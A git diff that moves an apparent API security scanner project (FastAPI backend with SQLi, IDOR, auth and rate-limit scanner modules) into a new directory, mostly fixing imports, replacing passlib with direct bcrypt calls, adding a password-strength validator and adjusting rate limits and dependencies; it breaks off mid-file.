diff --git a/api-security-scanner/.env.example b/PROJECTS/api-security-scanner/.env.example similarity index 98% rename from api-security-scanner/.env.example rename to PROJECTS/api-security-scanner/.env.example index 8e4e3786..e9596bf6 100644 --- a/api-security-scanner/.env.example +++ b/PROJECTS/api-security-scanner/.env.example @@ -32,7 +32,7 @@ BACKEND_PORT=8000 # CORS Origins (comma-separated for multiple origins) # Include both direct Vite dev server (5173) and nginx proxy (80) -CORS_ORIGINS=http://localhost:5173,http://localhost:3000,http://localhost +CORS_ORIGINS=http://localhost:5173,http://localhost:3000,http://localhost,http://localhost:8000 # Frontend API URL # When using Docker with nginx: http://localhost/api diff --git a/api-security-scanner/.github/workflows/eslint-check.yml b/PROJECTS/api-security-scanner/.github/workflows/eslint-check.yml similarity index 100% rename from api-security-scanner/.github/workflows/eslint-check.yml rename to PROJECTS/api-security-scanner/.github/workflows/eslint-check.yml diff --git a/api-security-scanner/.github/workflows/lint.yml b/PROJECTS/api-security-scanner/.github/workflows/lint.yml similarity index 99% rename from api-security-scanner/.github/workflows/lint.yml rename to PROJECTS/api-security-scanner/.github/workflows/lint.yml index 1515e776..6fb5eb95 100755 --- a/api-security-scanner/.github/workflows/lint.yml +++ b/PROJECTS/api-security-scanner/.github/workflows/lint.yml @@ -1,10 +1,13 @@ name: Lint & Type Check on: + push: + branches: [ 'main' ] pull_request: branches: [ '*' ] workflow_dispatch: + jobs: lint: name: Run Linters diff --git a/api-security-scanner/.github/workflows/typescript-check.yml b/PROJECTS/api-security-scanner/.github/workflows/typescript-check.yml similarity index 100% rename from api-security-scanner/.github/workflows/typescript-check.yml rename to PROJECTS/api-security-scanner/.github/workflows/typescript-check.yml diff --git a/api-security-scanner/.gitignore b/PROJECTS/api-security-scanner/.gitignore similarity index 100% rename from api-security-scanner/.gitignore rename to PROJECTS/api-security-scanner/.gitignore diff --git a/api-security-scanner/Makefile b/PROJECTS/api-security-scanner/Makefile similarity index 100% rename from api-security-scanner/Makefile rename to PROJECTS/api-security-scanner/Makefile diff --git a/api-security-scanner/backend/.style.yapf b/PROJECTS/api-security-scanner/backend/.style.yapf similarity index 100% rename from api-security-scanner/backend/.style.yapf rename to PROJECTS/api-security-scanner/backend/.style.yapf diff --git a/api-security-scanner/backend/Makefile b/PROJECTS/api-security-scanner/backend/Makefile similarity index 100% rename from api-security-scanner/backend/Makefile rename to PROJECTS/api-security-scanner/backend/Makefile diff --git a/PROJECTS/api-security-scanner/backend/__init__.py b/PROJECTS/api-security-scanner/backend/__init__.py new file mode 100644 index 00000000..3378af5a --- /dev/null +++ b/PROJECTS/api-security-scanner/backend/__init__.py @@ -0,0 +1,20 @@ +""" +ⒸAngelaMos | CarterPerez-dev +ⒸCertGames.com | 2025 +---- +API Security Scanner + +⡋⣡⣴⣶⣶⡀⠄⠄⠙⢿⣿⣿⣿⣿⣿⣴⣿⣿⣿⢃⣤⣄⣀⣥⣿ +⢸⣇⠻⣿⣿⣿⣧⣀⢀⣠⡌⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⣿⣿ +⢸⣿⣷⣤⣤⣤⣬⣙⣛⢿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡍⠄⠄⢀⣤⣄⠉ +⣖⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⢇⣿⣿⡷⠶⠶⢿⣿⣿⠇⢀ +⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣷⣶⣥⣴ +⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ +⣦⣌⣛⣻⣿⣿⣧⠙⠛⠛⡭⠅⠒⠦⠭⣭⡻⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠄ +⣿⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠄⠄⠄⠹⠈⢋⣽⣿⣿⣿⣿⣵⣾ +⣿⣿⣿⣿⣿⣿⣿⣿⠄⣴⣿⣶⣄⠄⣴⣶⠄⢀⣾⣿⣿⣿⣿⣿⣿⠃⠄⠄ +⠈⠻⣿⣿⣿⣿⣿⣿⡄⢻⣿⣿⣿⠄⣿⣿⡀⣾⣿⣿⣿⣿⣛⠛⠁ +⠄⠄⠈⠛⢿⣿⣿⣿⠁⠞⢿⣿⣿⡄⢿⣿⡇⣸⣿⣿⠿⠛⠁⠄ +⠄⠄⠄⠄⠄⠉⠻⣿⣿⣾⣦⡙⠻⣷⣾⣿⠃⠿⠋⠁⠄ + +""" diff --git a/api-security-scanner/backend/config.py b/PROJECTS/api-security-scanner/backend/config.py similarity index 89% rename from api-security-scanner/backend/config.py rename to PROJECTS/api-security-scanner/backend/config.py index 98ab3205..48a157fa 100644 --- a/api-security-scanner/backend/config.py +++ b/PROJECTS/api-security-scanner/backend/config.py @@ -9,10 +9,10 @@ from pydantic_settings import BaseSettings, SettingsConfigDict class Settings(BaseSettings): """ - Application settings loaded from environment variables. + Application settings loaded from environment variables All magic numbers and configuration values are defined here to avoid - hardcoding throughout the application. + hardcoding throughout the application """ model_config = SettingsConfigDict( @@ -56,9 +56,9 @@ class Settings(BaseSettings): SCANNER_RATE_LIMIT_WINDOW_SECONDS: int = 60 # API endpoint rate limiting (incoming requests - slowapi format) - API_RATE_LIMIT_LOGIN: str = "5/minute" - API_RATE_LIMIT_REGISTER: str = "3/minute" - API_RATE_LIMIT_SCAN: str = "10/minute" + API_RATE_LIMIT_LOGIN: str = "20/minute" + API_RATE_LIMIT_REGISTER: str = "15/minute" + API_RATE_LIMIT_SCAN: str = "15/minute" API_RATE_LIMIT_DEFAULT: str = "100/minute" # Pagination @@ -73,8 +73,8 @@ class Settings(BaseSettings): # Scanner timeouts and limits SCANNER_MAX_CONCURRENT_REQUESTS: int = 50 - SCANNER_CONNECTION_TIMEOUT: int = 30 - SCANNER_READ_TIMEOUT: int = 30 + SCANNER_CONNECTION_TIMEOUT: int = 180 + SCANNER_READ_TIMEOUT: int = 180 # Scanner request spacing and timing DEFAULT_JITTER_MS: int = 100 diff --git a/PROJECTS/api-security-scanner/backend/core/__init__.py b/PROJECTS/api-security-scanner/backend/core/__init__.py new file mode 100644 index 00000000..151fd9df --- /dev/null +++ b/PROJECTS/api-security-scanner/backend/core/__init__.py @@ -0,0 +1,4 @@ +""" +ⒸAngelaMos | 2025 +Core modules for application infrastructure +""" diff --git a/api-security-scanner/backend/core/database.py b/PROJECTS/api-security-scanner/backend/core/database.py similarity index 96% rename from api-security-scanner/backend/core/database.py rename to PROJECTS/api-security-scanner/backend/core/database.py index 201cb4b5..d90feeae 100644 --- a/api-security-scanner/backend/core/database.py +++ b/PROJECTS/api-security-scanner/backend/core/database.py @@ -8,7 +8,7 @@ from sqlalchemy import create_engine from sqlalchemy.orm import Session, sessionmaker from sqlalchemy.ext.declarative import declarative_base -from ..config import settings +from config import settings # Database engine engine = create_engine( diff --git a/api-security-scanner/backend/core/dependencies.py b/PROJECTS/api-security-scanner/backend/core/dependencies.py similarity index 60% rename from api-security-scanner/backend/core/dependencies.py rename to PROJECTS/api-security-scanner/backend/core/dependencies.py index 7f354d44..fa592d61 100644 --- a/api-security-scanner/backend/core/dependencies.py +++ b/PROJECTS/api-security-scanner/backend/core/dependencies.py @@ -11,19 +11,22 @@ from fastapi.security import ( HTTPAuthorizationCredentials, HTTPBearer, ) +from sqlalchemy.orm import Session from .security import decode_token +from .database import get_db +from repositories.user_repository import UserRepository +from schemas.user_schemas import UserResponse -# HTTP Bearer token authentication security = HTTPBearer() async def get_current_user( credentials: HTTPAuthorizationCredentials = Depends(security), -) -> str: + db: Session = Depends(get_db), +) -> UserResponse: """ - FastAPI dependency to extract and - verify the current authenticated user. + FastAPI dependency to extract and verify the current authenticated user """ try: payload = decode_token(credentials.credentials) @@ -36,7 +39,16 @@ async def get_current_user( headers = {"WWW-Authenticate": "Bearer"}, ) - return email + user = UserRepository.get_by_email(db, email) + + if not user: + raise HTTPException( + status_code = status.HTTP_401_UNAUTHORIZED, + detail = "User not found", + headers = {"WWW-Authenticate": "Bearer"}, + ) + + return UserResponse.model_validate(user) except ValueError: raise HTTPException( diff --git a/api-security-scanner/backend/core/enums.py b/PROJECTS/api-security-scanner/backend/core/enums.py similarity index 100% rename from api-security-scanner/backend/core/enums.py rename to PROJECTS/api-security-scanner/backend/core/enums.py diff --git a/api-security-scanner/backend/core/security.py b/PROJECTS/api-security-scanner/backend/core/security.py similarity index 80% rename from api-security-scanner/backend/core/security.py rename to PROJECTS/api-security-scanner/backend/core/security.py index 6052e22f..c2585ee5 100644 --- a/api-security-scanner/backend/core/security.py +++ b/PROJECTS/api-security-scanner/backend/core/security.py @@ -6,21 +6,20 @@ from datetime import ( datetime, timedelta, ) +import bcrypt from jose import JWTError, jwt -from passlib.context import CryptContext from config import settings -# Password hashing -pwd_context = CryptContext(schemes = ["bcrypt"], deprecated = "auto") - - def hash_password(password: str) -> str: """ Hash a plain text password using bcrypt """ - return pwd_context.hash(password) + password_bytes = password.encode('utf-8') + salt = bcrypt.gensalt() + hashed = bcrypt.hashpw(password_bytes, salt) + return hashed.decode('utf-8') def verify_password( @@ -30,7 +29,9 @@ def verify_password( """ Verify a plain text password against a hashed password """ - return pwd_context.verify(plain_password, hashed_password) + password_bytes = plain_password.encode('utf-8') + hashed_bytes = hashed_password.encode('utf-8') + return bcrypt.checkpw(password_bytes, hashed_bytes) def create_access_token( diff --git a/api-security-scanner/backend/factory.py b/PROJECTS/api-security-scanner/backend/factory.py similarity index 86% rename from api-security-scanner/backend/factory.py rename to PROJECTS/api-security-scanner/backend/factory.py index b72a1bd2..a810bf31 100644 --- a/api-security-scanner/backend/factory.py +++ b/PROJECTS/api-security-scanner/backend/factory.py @@ -13,9 +13,9 @@ from slowapi import ( from slowapi.errors import RateLimitExceeded from slowapi.util import get_remote_address -from .config import settings -from .core.database import Base, engine -from .routes import auth_router, scans_router +from config import settings +from core.database import Base, engine +from routes import auth_router, scans_router def create_app() -> FastAPI: @@ -27,8 +27,10 @@ def create_app() -> FastAPI: app = FastAPI( title = settings.APP_NAME, version = settings.VERSION, - docs_url = "/api/docs", - redoc_url = "/api/redoc", + openapi_version = "3.1.0", + docs_url = "/docs", + redoc_url = "/redoc", + openapi_url = "/openapi.json", debug = settings.DEBUG, ) diff --git a/api-security-scanner/backend/main.py b/PROJECTS/api-security-scanner/backend/main.py similarity index 58% rename from api-security-scanner/backend/main.py rename to PROJECTS/api-security-scanner/backend/main.py index 65079c98..e956d2fe 100644 --- a/api-security-scanner/backend/main.py +++ b/PROJECTS/api-security-scanner/backend/main.py @@ -1,12 +1,14 @@ """ -ⒸAngelaMos | 2025 -FastAPI application entry point +ⒸCertGames.com | 2025 +ⒸAngelaMos | CarterPerez-dev +---- +API Security Scanner FastAPI entry point """ import uvicorn -from .config import settings -from .factory import create_app +from config import settings +from factory import create_app app = create_app() diff --git a/api-security-scanner/backend/models/Base.py b/PROJECTS/api-security-scanner/backend/models/Base.py similarity index 98% rename from api-security-scanner/backend/models/Base.py rename to PROJECTS/api-security-scanner/backend/models/Base.py index 89decfba..dc01f799 100644 --- a/api-security-scanner/backend/models/Base.py +++ b/PROJECTS/api-security-scanner/backend/models/Base.py @@ -13,7 +13,7 @@ from sqlalchemy import ( from datetime import datetime, UTC from sqlalchemy.ext.declarative import declared_attr -from ..core.database import Base +from core.database import Base class BaseModel(Base): diff --git a/api-security-scanner/backend/models/Scan.py b/PROJECTS/api-security-scanner/backend/models/Scan.py similarity index 98% rename from api-security-scanner/backend/models/Scan.py rename to PROJECTS/api-security-scanner/backend/models/Scan.py index 50df3278..dea6dac6 100644 --- a/api-security-scanner/backend/models/Scan.py +++ b/PROJECTS/api-security-scanner/backend/models/Scan.py @@ -16,7 +16,7 @@ from sqlalchemy import ( ) from sqlalchemy.orm import relationship -from ..config import settings +from config import settings from .Base import BaseModel diff --git a/api-security-scanner/backend/models/TestResult.py b/PROJECTS/api-security-scanner/backend/models/TestResult.py similarity index 97% rename from api-security-scanner/backend/models/TestResult.py rename to PROJECTS/api-security-scanner/backend/models/TestResult.py index 7f721d32..9a9beabc 100644 --- a/api-security-scanner/backend/models/TestResult.py +++ b/PROJECTS/api-security-scanner/backend/models/TestResult.py @@ -6,14 +6,14 @@ TestResult model for storing individual security test results from sqlalchemy import ( Column, Enum, - ForeignKey, Integer, Text, + ForeignKey, ) from sqlalchemy.orm import relationship from sqlalchemy.dialects.postgresql import JSON -from ..core.enums import ( +from core.enums import ( ScanStatus, Severity, TestType, diff --git a/api-security-scanner/backend/models/User.py b/PROJECTS/api-security-scanner/backend/models/User.py similarity index 96% rename from api-security-scanner/backend/models/User.py rename to PROJECTS/api-security-scanner/backend/models/User.py index efbf34d0..47a531f1 100644 --- a/api-security-scanner/backend/models/User.py +++ b/PROJECTS/api-security-scanner/backend/models/User.py @@ -9,7 +9,7 @@ from sqlalchemy import ( String, ) -from ..config import settings +from config import settings from .Base import BaseModel diff --git a/api-security-scanner/backend/models/__init__.py b/PROJECTS/api-security-scanner/backend/models/__init__.py similarity index 100% rename from api-security-scanner/backend/models/__init__.py rename to PROJECTS/api-security-scanner/backend/models/__init__.py diff --git a/api-security-scanner/backend/pyproject.toml b/PROJECTS/api-security-scanner/backend/pyproject.toml similarity index 93% rename from api-security-scanner/backend/pyproject.toml rename to PROJECTS/api-security-scanner/backend/pyproject.toml index 7251848e..2a50c421 100644 --- a/api-security-scanner/backend/pyproject.toml +++ b/PROJECTS/api-security-scanner/backend/pyproject.toml @@ -20,10 +20,10 @@ dependencies = [ "alembic==1.17.1", # Security "slowapi==0.1.9", - "passlib[bcrypt]==1.7.4", "python-jose[cryptography]==3.5.0", - "bcrypt==4.3.0", + "bcrypt==5.0.0", # HTTP client for scanners + "requests==2.32.3", "httpx==0.28.1", "aiohttp==3.13.2", # Settings management @@ -55,7 +55,22 @@ build-backend = "setuptools.build_meta" [tool.setuptools] -py-modules = ["main", "config", "factory"] +py-modules = [ + "main", + "config", + "factory" +] + +[tool.setuptools.packages.find] +include = [ + "core", + "routes", + "models", + "schemas", + "services", + "scanners", + "repositories" +] [tool.ruff] target-version = "py311" @@ -174,6 +189,7 @@ disable_error_code = [ "union-attr", "call-arg", "dict-item", + "abstract", ] @@ -181,11 +197,12 @@ disable_error_code = [ py-version = "3.11" jobs = 4 load-plugins = [ - "pylint_pydantic", + "pylint_pydantic", "pylint_per_file_ignores" ] persistent = true suggestion-mode = true +init-hook = "import sys; import os; sys.path.insert(0, os.getcwd())" ignore = [ "venv", ".venv", diff --git a/api-security-scanner/backend/repositories/__init__.py b/PROJECTS/api-security-scanner/backend/repositories/__init__.py similarity index 74% rename from api-security-scanner/backend/repositories/__init__.py rename to PROJECTS/api-security-scanner/backend/repositories/__init__.py index 1f4042d7..c545ff2c 100644 --- a/api-security-scanner/backend/repositories/__init__.py +++ b/PROJECTS/api-security-scanner/backend/repositories/__init__.py @@ -1,4 +1,7 @@ -"""Database repository layer for data access operations""" +""" +ⒸAngelaMos | 2025 +Database repository layer for data access operations +""" from .user_repository import UserRepository from .scan_repository import ScanRepository diff --git a/api-security-scanner/backend/repositories/scan_repository.py b/PROJECTS/api-security-scanner/backend/repositories/scan_repository.py similarity index 98% rename from api-security-scanner/backend/repositories/scan_repository.py rename to PROJECTS/api-security-scanner/backend/repositories/scan_repository.py index f823f68b..83376f0e 100644 --- a/api-security-scanner/backend/repositories/scan_repository.py +++ b/PROJECTS/api-security-scanner/backend/repositories/scan_repository.py @@ -11,8 +11,8 @@ from sqlalchemy.orm import ( joinedload, ) -from ..config import settings -from ..models.Scan import Scan +from config import settings +from models.Scan import Scan class ScanRepository: diff --git a/api-security-scanner/backend/repositories/test_result_repository.py b/PROJECTS/api-security-scanner/backend/repositories/test_result_repository.py similarity index 98% rename from api-security-scanner/backend/repositories/test_result_repository.py rename to PROJECTS/api-security-scanner/backend/repositories/test_result_repository.py index 5cb4de19..191d7b1a 100644 --- a/api-security-scanner/backend/repositories/test_result_repository.py +++ b/PROJECTS/api-security-scanner/backend/repositories/test_result_repository.py @@ -9,12 +9,12 @@ from typing import Any from sqlalchemy.orm import Session -from ..core.enums import ( +from core.enums import ( ScanStatus, Severity, TestType, ) -from ..models.TestResult import TestResult +from models.TestResult import TestResult class TestResultRepository: diff --git a/api-security-scanner/backend/repositories/user_repository.py b/PROJECTS/api-security-scanner/backend/repositories/user_repository.py similarity index 98% rename from api-security-scanner/backend/repositories/user_repository.py rename to PROJECTS/api-security-scanner/backend/repositories/user_repository.py index 72435bfe..4fff5c38 100644 --- a/api-security-scanner/backend/repositories/user_repository.py +++ b/PROJECTS/api-security-scanner/backend/repositories/user_repository.py @@ -7,8 +7,8 @@ from __future__ import annotations from sqlalchemy.orm import Session -from ..config import settings -from ..models.User import User +from config import settings +from models.User import User class UserRepository: diff --git a/api-security-scanner/backend/requirements.txt b/PROJECTS/api-security-scanner/backend/requirements.txt similarity index 89% rename from api-security-scanner/backend/requirements.txt rename to PROJECTS/api-security-scanner/backend/requirements.txt index db69b8a4..d14b1726 100644 --- a/api-security-scanner/backend/requirements.txt +++ b/PROJECTS/api-security-scanner/backend/requirements.txt @@ -11,11 +11,12 @@ psycopg2-binary>=2.9.9 alembic>=1.13.0 # Security -passlib[bcrypt]>=1.7.4 +slowapi>=0.1.9 python-jose[cryptography]>=3.3.0 -bcrypt>=4.1.2 +bcrypt==5.0.0 # HTTP client for scanners +requests>=2.31.0 httpx>=0.26.0 aiohttp>=3.9.0 diff --git a/api-security-scanner/backend/routes/__init__.py b/PROJECTS/api-security-scanner/backend/routes/__init__.py similarity index 100% rename from api-security-scanner/backend/routes/__init__.py rename to PROJECTS/api-security-scanner/backend/routes/__init__.py diff --git a/api-security-scanner/backend/routes/auth.py b/PROJECTS/api-security-scanner/backend/routes/auth.py similarity index 85% rename from api-security-scanner/backend/routes/auth.py rename to PROJECTS/api-security-scanner/backend/routes/auth.py index 10bc61b1..8150c938 100644 --- a/api-security-scanner/backend/routes/auth.py +++ b/PROJECTS/api-security-scanner/backend/routes/auth.py @@ -1,6 +1,6 @@ """ ©AngelaMos | 2025 -Authentication routes - registration and login +Authentication routes """ from fastapi import ( @@ -13,15 +13,15 @@ from slowapi import Limiter from slowapi.util import get_remote_address from sqlalchemy.orm import Session -from ..config import settings -from ..core.database import get_db -from ..schemas.user_schemas import ( +from config import settings +from core.database import get_db +from schemas.user_schemas import ( TokenResponse, UserCreate, UserLogin, UserResponse, ) -from ..services.auth_service import AuthService +from services.auth_service import AuthService router = APIRouter(prefix = "/auth", tags = ["authentication"]) diff --git a/api-security-scanner/backend/routes/scans.py b/PROJECTS/api-security-scanner/backend/routes/scans.py similarity index 90% rename from api-security-scanner/backend/routes/scans.py rename to PROJECTS/api-security-scanner/backend/routes/scans.py index 2bb4707b..c9c9706d 100644 --- a/api-security-scanner/backend/routes/scans.py +++ b/PROJECTS/api-security-scanner/backend/routes/scans.py @@ -13,15 +13,15 @@ from slowapi import Limiter from slowapi.util import get_remote_address from sqlalchemy.orm import Session -from ..config import settings -from ..core.database import get_db -from ..core.dependencies import get_current_user -from ..schemas.scan_schemas import ( +from config import settings +from core.database import get_db +from core.dependencies import get_current_user +from schemas.scan_schemas import ( ScanRequest, ScanResponse, ) -from ..schemas.user_schemas import UserResponse -from ..services.scan_service import ScanService +from schemas.user_schemas import UserResponse +from services.scan_service import ScanService router = APIRouter(prefix = "/scans", tags = ["scans"]) diff --git a/api-security-scanner/backend/scanners/__init__.py b/PROJECTS/api-security-scanner/backend/scanners/__init__.py similarity index 79% rename from api-security-scanner/backend/scanners/__init__.py rename to PROJECTS/api-security-scanner/backend/scanners/__init__.py index af144299..ab8a55f6 100644 --- a/api-security-scanner/backend/scanners/__init__.py +++ b/PROJECTS/api-security-scanner/backend/scanners/__init__.py @@ -1,4 +1,7 @@ -"""Security scanner modules for API vulnerability testing""" +""" +ⒸAngelaMos | 2025 +Security scanner modules for API vulnerability testing +""" from .base_scanner import BaseScanner from .rate_limit_scanner import RateLimitScanner diff --git a/api-security-scanner/backend/scanners/auth_scanner.py b/PROJECTS/api-security-scanner/backend/scanners/auth_scanner.py similarity index 99% rename from api-security-scanner/backend/scanners/auth_scanner.py rename to PROJECTS/api-security-scanner/backend/scanners/auth_scanner.py index 8aa3d1ad..14604a87 100644 --- a/api-security-scanner/backend/scanners/auth_scanner.py +++ b/PROJECTS/api-security-scanner/backend/scanners/auth_scanner.py @@ -11,13 +11,13 @@ import base64 import json from typing import Any -from ..config import settings -from ..core.enums import ( +from config import settings +from core.enums import ( ScanStatus, Severity, TestType, ) -from ..schemas.test_result_schemas import TestResultCreate +from schemas.test_result_schemas import TestResultCreate from .payloads import AuthPayloads from .base_scanner import BaseScanner diff --git a/api-security-scanner/backend/scanners/base_scanner.py b/PROJECTS/api-security-scanner/backend/scanners/base_scanner.py similarity index 98% rename from api-security-scanner/backend/scanners/base_scanner.py rename to PROJECTS/api-security-scanner/backend/scanners/base_scanner.py index 5c932ce7..28675978 100644 --- a/api-security-scanner/backend/scanners/base_scanner.py +++ b/PROJECTS/api-security-scanner/backend/scanners/base_scanner.py @@ -14,8 +14,8 @@ from abc import ABC, abstractmethod import requests -from ..config import settings -from ..schemas.test_result_schemas import TestResultCreate +from config import settings +from schemas.test_result_schemas import TestResultCreate class BaseScanner(ABC): diff --git a/api-security-scanner/backend/scanners/idor_scanner.py b/PROJECTS/api-security-scanner/backend/scanners/idor_scanner.py similarity index 98% rename from api-security-scanner/backend/scanners/idor_scanner.py rename to PROJECTS/api-security-scanner/backend/scanners/idor_scanner.py index 68987555..4cec9cf0 100644 --- a/api-security-scanner/backend/scanners/idor_scanner.py +++ b/PROJECTS/api-security-scanner/backend/scanners/idor_scanner.py @@ -10,8 +10,8 @@ from __future__ import annotations import re from typing import Any -from ..core.enums import ScanStatus, Severity, TestType -from ..schemas.test_result_schemas import TestResultCreate +from core.enums import ScanStatus, Severity, TestType +from schemas.test_result_schemas import TestResultCreate from .base_scanner import BaseScanner from .payloads import IDORPayloads diff --git a/api-security-scanner/backend/scanners/payloads.py b/PROJECTS/api-security-scanner/backend/scanners/payloads.py similarity index 99% rename from api-security-scanner/backend/scanners/payloads.py rename to PROJECTS/api-security-scanner/backend/scanners/payloads.py index b8bcb0fd..5c5a4d47 100644 --- a/api-security-scanner/backend/scanners/payloads.py +++ b/PROJECTS/api-security-scanner/backend/scanners/payloads.py @@ -8,7 +8,6 @@ class SQLiPayloads: """ SQL Injection test payloads covering various database types and techniques """ - ERROR_SIGNATURES = { "mysql": [ "sql syntax", @@ -222,7 +221,6 @@ class IDORPayloads: """ Insecure Direct Object Reference (IDOR) test patterns """ - NUMERIC_ID_MANIPULATIONS = [ 0, -1, @@ -275,7 +273,6 @@ class RateLimitBypassPayloads: """ Rate limiting bypass techniques and patterns """ - HEADER_PATTERNS = { "limit": r"x-ratelimit-limit|x-rate-limit-limit|ratelimit-limit", diff --git a/api-security-scanner/backend/scanners/rate_limit_scanner.py b/PROJECTS/api-security-scanner/backend/scanners/rate_limit_scanner.py similarity index 99% rename from api-security-scanner/backend/scanners/rate_limit_scanner.py rename to PROJECTS/api-security-scanner/backend/scanners/rate_limit_scanner.py index 95767fd1..168d1b05 100644 --- a/api-security-scanner/backend/scanners/rate_limit_scanner.py +++ b/PROJECTS/api-security-scanner/backend/scanners/rate_limit_scanner.py @@ -11,12 +11,12 @@ import re import time from typing import Any -from ..core.enums import ( +from core.enums import ( ScanStatus, Severity, TestType, ) -from ..schemas.test_result_schemas import TestResultCreate +from schemas.test_result_schemas import TestResultCreate from .base_scanner import BaseScanner from .payloads import RateLimitBypassPayloads diff --git a/api-security-scanner/backend/scanners/sqli_scanner.py b/PROJECTS/api-security-scanner/backend/scanners/sqli_scanner.py similarity index 99% rename from api-security-scanner/backend/scanners/sqli_scanner.py rename to PROJECTS/api-security-scanner/backend/scanners/sqli_scanner.py index e681b5ed..a6d76948 100644 --- a/api-security-scanner/backend/scanners/sqli_scanner.py +++ b/PROJECTS/api-security-scanner/backend/scanners/sqli_scanner.py @@ -9,12 +9,12 @@ import time import statistics from typing import Any -from ..core.enums import ( +from core.enums import ( ScanStatus, Severity, TestType, ) -from ..schemas.test_result_schemas import TestResultCreate +from schemas.test_result_schemas import TestResultCreate from .payloads import SQLiPayloads from .base_scanner import BaseScanner diff --git a/api-security-scanner/backend/schemas/__init__.py b/PROJECTS/api-security-scanner/backend/schemas/__init__.py similarity index 85% rename from api-security-scanner/backend/schemas/__init__.py rename to PROJECTS/api-security-scanner/backend/schemas/__init__.py index 7de189d8..b1e218ea 100644 --- a/api-security-scanner/backend/schemas/__init__.py +++ b/PROJECTS/api-security-scanner/backend/schemas/__init__.py @@ -1,4 +1,7 @@ -"""Pydantic schemas for API validation and serialization""" +""" +ⒸAngelaMos | 2025 +Pydantic schemas for API validation and serialization +""" from .user_schemas import ( TokenResponse, diff --git a/api-security-scanner/backend/schemas/scan_schemas.py b/PROJECTS/api-security-scanner/backend/schemas/scan_schemas.py similarity index 85% rename from api-security-scanner/backend/schemas/scan_schemas.py rename to PROJECTS/api-security-scanner/backend/schemas/scan_schemas.py index eeb93daa..2c9e63c0 100644 --- a/api-security-scanner/backend/schemas/scan_schemas.py +++ b/PROJECTS/api-security-scanner/backend/schemas/scan_schemas.py @@ -1,6 +1,6 @@ """ ⒸAngelaMos | 2025 -Scan model API validation and serialization. +Scan model API validation and serialization """ from __future__ import annotations @@ -13,8 +13,9 @@ from pydantic import ( ) from datetime import datetime -from ..config import settings -from ..core.enums import TestType +from config import settings +from core.enums import TestType +from .test_result_schemas import TestResultResponse class ScanRequest(BaseModel): @@ -35,8 +36,6 @@ class ScanResponse(BaseModel): """ Schema for scan data in API responses """ - # Circular to avoid circular imports - from .test_result_schemas import TestResultResponse model_config = ConfigDict(from_attributes = True) id: int diff --git a/api-security-scanner/backend/schemas/test_result_schemas.py b/PROJECTS/api-security-scanner/backend/schemas/test_result_schemas.py similarity index 97% rename from api-security-scanner/backend/schemas/test_result_schemas.py rename to PROJECTS/api-security-scanner/backend/schemas/test_result_schemas.py index a871fbd4..c42162b7 100644 --- a/api-security-scanner/backend/schemas/test_result_schemas.py +++ b/PROJECTS/api-security-scanner/backend/schemas/test_result_schemas.py @@ -11,7 +11,7 @@ from pydantic import ( Field, ) -from ..core.enums import ( +from core.enums import ( ScanStatus, Severity, TestType, diff --git a/api-security-scanner/backend/schemas/user_schemas.py b/PROJECTS/api-security-scanner/backend/schemas/user_schemas.py similarity index 52% rename from api-security-scanner/backend/schemas/user_schemas.py rename to PROJECTS/api-security-scanner/backend/schemas/user_schemas.py index 18585bb8..b988e56e 100644 --- a/api-security-scanner/backend/schemas/user_schemas.py +++ b/PROJECTS/api-security-scanner/backend/schemas/user_schemas.py @@ -1,33 +1,52 @@ """ -Pydantic schemas for User model - API validation and serialization. +ⒸAngelaMos | 2025 +User model API validation and serialization """ from __future__ import annotations +import re from datetime import datetime -from pydantic import BaseModel, ConfigDict, EmailStr, Field - -from ..config import settings +from pydantic import ( + BaseModel, + ConfigDict, + EmailStr, + Field, + field_validator +) +from config import settings class UserCreate(BaseModel): """ Schema for user registration request. """ - email: EmailStr password: str = Field( min_length = settings.PASSWORD_MIN_LENGTH, max_length = settings.PASSWORD_MAX_LENGTH, ) + @field_validator('password') + @classmethod + def validate_password_strength(cls, v: str) -> str: + """ + Validate password meets security requirements + """ + if not re.search(r'[A-Z]', v): + raise ValueError('Password must contain at least one uppercase letter') + if not re.search(r'[a-z]', v): + raise ValueError('Password must contain at least one lowercase letter') + if not re.search(r'[0-9]', v): + raise ValueError('Password must contain at least one number') + return v + class UserLogin(BaseModel): """ Schema for user login request. """ - email: EmailStr password: str @@ -37,7 +56,6 @@ class UserResponse(BaseModel): Schema for user data in API responses. Excludes sensitive fields like hashed_password. """ - model_config = ConfigDict(from_attributes = True) id: int @@ -50,6 +68,5 @@ class TokenResponse(BaseModel): """ Schema for JWT token response. """ - access_token: str token_type: str = "bearer" diff --git a/api-security-scanner/backend/services/__init__.py b/PROJECTS/api-security-scanner/backend/services/__init__.py similarity index 100% rename from api-security-scanner/backend/services/__init__.py rename to PROJECTS/api-security-scanner/backend/services/__init__.py diff --git a/api-security-scanner/backend/services/auth_service.py b/PROJECTS/api-security-scanner/backend/services/auth_service.py similarity index 95% rename from api-security-scanner/backend/services/auth_service.py rename to PROJECTS/api-security-scanner/backend/services/auth_service.py index 7e9cd80e..66a2c4a0 100644 --- a/api-security-scanner/backend/services/auth_service.py +++ b/PROJECTS/api-security-scanner/backend/services/auth_service.py @@ -9,19 +9,19 @@ from datetime import timedelta from sqlalchemy.orm import Session from fastapi import HTTPException, status -from ..config import settings -from ..core.security import ( +from config import settings +from core.security import ( create_access_token, hash_password, verify_password, ) -from ..schemas.user_schemas import ( +from schemas.user_schemas import ( TokenResponse, UserCreate, UserLogin, UserResponse, ) -from ..repositories.user_repository import UserRepository +from repositories.user_repository import UserRepository class AuthService: diff --git a/api-security-scanner/backend/services/scan_service.py b/PROJECTS/api-security-scanner/backend/services/scan_service.py similarity index 88% rename from api-security-scanner/backend/services/scan_service.py rename to PROJECTS/api-security-scanner/backend/services/scan_service.py index a6309775..f18c86be 100644 --- a/api-security-scanner/backend/services/scan_service.py +++ b/PROJECTS/api-security-scanner/backend/services/scan_service.py @@ -5,19 +5,22 @@ Coordinates scanners and saves results from __future__ import annotations +from typing import Type + from sqlalchemy.orm import Session from fastapi import HTTPException, status -from ..core.enums import TestType -from ..repositories.scan_repository import ScanRepository -from ..repositories.test_result_repository import 